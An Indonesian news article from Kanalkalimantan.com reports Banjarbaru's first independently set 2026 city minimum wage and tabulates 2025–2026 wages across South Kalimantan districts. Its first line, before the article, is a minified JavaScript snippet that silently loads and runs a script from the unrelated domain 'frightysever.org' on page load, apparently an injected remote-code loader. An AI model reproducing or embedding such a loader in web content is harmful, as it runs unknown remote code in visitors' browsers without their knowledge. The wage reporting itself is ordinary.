(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur Kalimantan Selatan (Kalsel) sebesar Rp3.843.037,66.
UMK Banjarbaru diberlakukan per 1 Januari 2026. Dimana UMK Banjarbaru yang ditetapkan di atas Upah Minimum Provinsi (UMP) Kalsel.
Sekadar diketahui berdasar Keputusan Gubernur Kalsel, untuk UMP Kalsel tahun 2026 ditetapkan sebesar Rp3.725.000.
“Semua pelaku usaha di Banjarbaru yang memenuhi syarat diwajibkan untuk mematuhi ketentuan UMK,” ujar Kepala Dinas Koperasi Usaha Kecil Menengah, dan tenaga Kerja (Diskopumnaker) Banjarbaru, Sartono.
Baca juga: Sudah Sah! Daftar Lengkap UMP dan UMK Kalimantan 2026 di Semua Provinsi, Ada yang Tembus Rp3,7 Juta
UMK Banjarbaru baru kali ini ditetapkan secara mandiri, karena sebelumnya ibu kota Kalsel itu masih mengikuti UMP Kalsel. Penetapan UMK Banjarbaru karena persyaratan baru terpenuhi. Persyaratan itu , mulai dari pertumbuhan ekonomi tiga tahun berturut-turut di atas provinsi. Lalu, pertumbuhan ekonomi dikurangi inflasi positif.
“Dalam penentuan angka, ada formula khusus bagi kabupaten kota yang menetapkan UMK sendiri berdasarkan persyaratan,” jelasnya. Ada formula khusus dalam penetapan UMK, yaitu mempertimbangkan rasio paritas harga dan rasio penyerapan tenaga kerja.
Kemudian rasio median UMK tersebut untuk kabupaten kota yang pertama kali menetapkannya.
“Untuk mekanisme penyesuaian upah UMK di tahun-tahun berikutnya mengikuti aturan dari Kementerian Tenaga Kerja,” bebernya.
Baca juga: Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit!”
Pemerintah Kota Banjarbaru baru membentuk Dewan Pengupahan dengan melibatkan pengusaha, serikat pekerja, akademisi, dan unsur dari pemerintah.
Sehingga dalam penetapan UMK Banjarbaru melibatkan semua unsur yang tergabung dalam Dewan Pengupahan, dan tak ada keberatan dari pihak manapun.
UMK Kalimantan Selatan 2026
Kabupaten/Kota UMK 2025 UMK 2026 Kenaikan
Kab. Kotabaru Rp3.643.004 Rp3.904.645 7,18%
Kota Banjarmasin Rp3.599.182 Rp3.855.894 7,13%
Kab. Tabalong Rp3.592.197 Rp3.827.935 6,56%
Kab. Tanah Bumbu Rp3.500.163 Rp3.736.000 6,74%
Kab. Hulu Sungai Selatan Rp3.496.195 Rp3.725.000 6,54%
Kab. Tapin Rp3.496.195 Rp3.725.000 6,54%
Kota Banjarbaru Rp3.496.195 Rp3.843.037 9,92%
Kab. Banjar Rp3.496.195 Rp3.725.000 6,54%
Kab. Barito Kuala Rp3.496.195 Rp3.725.000 6,54%
Kab. Tanah Laut Rp3.496.195 Rp3.725.000 6,54%
Kab. Balangan Rp3.496.195 Rp3.725.000 6,54%
Kab. Hulu Sungai Tengah Rp3.496.195 Rp3.725.000 6,54%
Kab. Hulu Sungai Utara Rp3.496.195 Rp3.725.000 6,54%.(Kanalkalimantan.com/bie)
Reporter: bie
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Menutup tahun 2025, Polres Kota Banjarmasin mengungkap kasus peredaran narkotika berupa 1… Read More
This website uses cookies.